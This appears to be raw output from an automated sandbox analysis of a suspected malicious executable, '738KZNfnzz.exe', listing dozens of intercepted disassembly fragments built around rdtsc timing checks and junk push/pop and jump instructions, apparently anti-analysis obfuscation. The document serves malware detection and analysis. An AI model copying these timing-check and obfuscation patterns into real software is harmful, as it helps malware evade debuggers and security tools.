Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D289CD second address: D289F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7025350AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F7025350ABAh 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 jl 00007F7025350AC2h 0x0000001c jne 00007F7025350AB6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE90E2 second address: CE90F0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE90F0 second address: CE914C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ch, dh 0x0000000c lea eax, dword ptr [ebp+12483E86h] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F7025350AB8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D3B79h] 0x00000032 mov di, B844h 0x00000036 nop 0x00000037 push eax 0x00000038 jmp 00007F7025350AC3h 0x0000003d pop eax 0x0000003e push eax 0x0000003f jp 00007F7025350AC4h 0x00000045 push eax 0x00000046 push edx 0x00000047 push edx 0x00000048 pop edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE914C second address: CE9150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9261 second address: CE9266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE98AC second address: CE98B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE98B1 second address: CE98CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7025350AC8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE99DD second address: CE99E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9A46 second address: CE9A7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7025350AC8h 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d mov dl, ch 0x0000000f nop 0x00000010 jno 00007F7025350ABAh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9A7A second address: CE9A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF526h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9A94 second address: CE9A9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9D1E second address: CE9D41 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7024DCF529h 0x00000008 jmp 00007F7024DCF523h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9D41 second address: CE9D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9CE2 second address: CE9D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 mov cl, ah 0x00000009 push 00000004h 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F7024DCF518h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov edi, eax 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b ja 00007F7024DCF516h 0x00000031 pop ecx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA259 second address: CEA25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA25F second address: CEA28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 je 00007F7024DCF516h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7024DCF529h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA28D second address: CEA2A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA482 second address: CEA486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA486 second address: CEA4AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F7025350AB8h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, esi 0x00000012 lea eax, dword ptr [ebp+12483ECAh] 0x00000018 mov ecx, ebx 0x0000001a nop 0x0000001b jg 00007F7025350AC4h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA4AD second address: CEA4B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA4B1 second address: CEA4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7025350AC0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA4CB second address: CEA532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF520h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F7024DCF516h 0x00000010 jmp 00007F7024DCF522h 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 mov ecx, dword ptr [ebp+122D3C9Dh] 0x0000001e lea eax, dword ptr [ebp+12483E86h] 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F7024DCF518h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e mov dword ptr [ebp+12476ECDh], edx 0x00000044 nop 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push edi 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA532 second address: CCF1C1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jno 00007F7025350ABEh 0x0000000e nop 0x0000000f mov edi, 56B57351h 0x00000014 mov dx, bx 0x00000017 call dword ptr [ebp+1244FB48h] 0x0000001d jmp 00007F7025350AC9h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push edi 0x00000026 pop edi 0x00000027 jns 00007F7025350AB6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CCF1C1 second address: CCF1C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D28C81 second address: D28C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D28C88 second address: D28CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7024DCF528h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D28E22 second address: D28E27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D29243 second address: D29278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF522h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007F7024DCF51Eh 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 jl 00007F7024DCF516h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D29278 second address: D29288 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D29288 second address: D2928F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D293A8 second address: D293BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 jng 00007F7025350AB6h 0x0000000c jbe 00007F7025350AB6h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D293BB second address: D29401 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F7024DCF516h 0x00000009 pop ebx 0x0000000a jmp 00007F7024DCF521h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7024DCF521h 0x00000019 jmp 00007F7024DCF525h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D296DC second address: D296E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D296E3 second address: D296FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF524h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D296FC second address: D29702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2DF75 second address: D2DF79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2DF79 second address: D2DF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7025350AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E26B second address: D2E270 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E270 second address: D2E280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 jbe 00007F7025350AB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E280 second address: D2E286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E56B second address: D2E572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E572 second address: D2E591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F7024DCF516h 0x00000013 jmp 00007F7024DCF51Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E591 second address: D2E595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E595 second address: D2E59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E59B second address: D2E5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E5A1 second address: D2E5BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7024DCF528h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2E8AE second address: D2E8CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7025350AC9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2EA0F second address: D2EA21 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F7024DCF516h 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D2EA21 second address: D2EA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F7025350AB6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D33677 second address: D3367D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D3367D second address: D33684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D33684 second address: D3368D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D3368D second address: D336A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7025350AC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D336A1 second address: D336A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D337F3 second address: D337F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D3AE36 second address: D3AE4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F7024DCF516h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D3F9EB second address: D3FA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jmp 00007F7025350AC8h 0x0000000c jg 00007F7025350ABEh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9F31 second address: CE9F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE9F36 second address: CE9F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7025350AB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e je 00007F7025350ABEh 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D42CE0 second address: D42D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7024DCF522h 0x0000000a pushad 0x0000000b jnc 00007F7024DCF516h 0x00000011 jmp 00007F7024DCF529h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D42D18 second address: D42D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7025350AB6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D442CF second address: D442D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D442D8 second address: D442DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D442DE second address: D442EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D442EC second address: D442F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D442F0 second address: D442F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4733C second address: D47340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47340 second address: D47351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7024DCF516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47351 second address: D47358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47358 second address: D4736B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4736B second address: D47371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D474C0 second address: D474CE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47605 second address: D47618 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7025350AB6h 0x00000008 jne 00007F7025350AB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47618 second address: D4761E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4778E second address: D47794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47794 second address: D4779E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7024DCF516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47935 second address: D47940 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47940 second address: D47945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47AC9 second address: D47AEB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7025350AC0h 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnc 00007F7025350AB6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47AEB second address: D47AFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7024DCF51Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47AFA second address: D47B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D47B00 second address: D47B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4F1C5 second address: D4F1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4F1D0 second address: D4F1D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4F1D4 second address: D4F1E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DA75 second address: D4DA7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DA7B second address: D4DA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F7025350AB6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
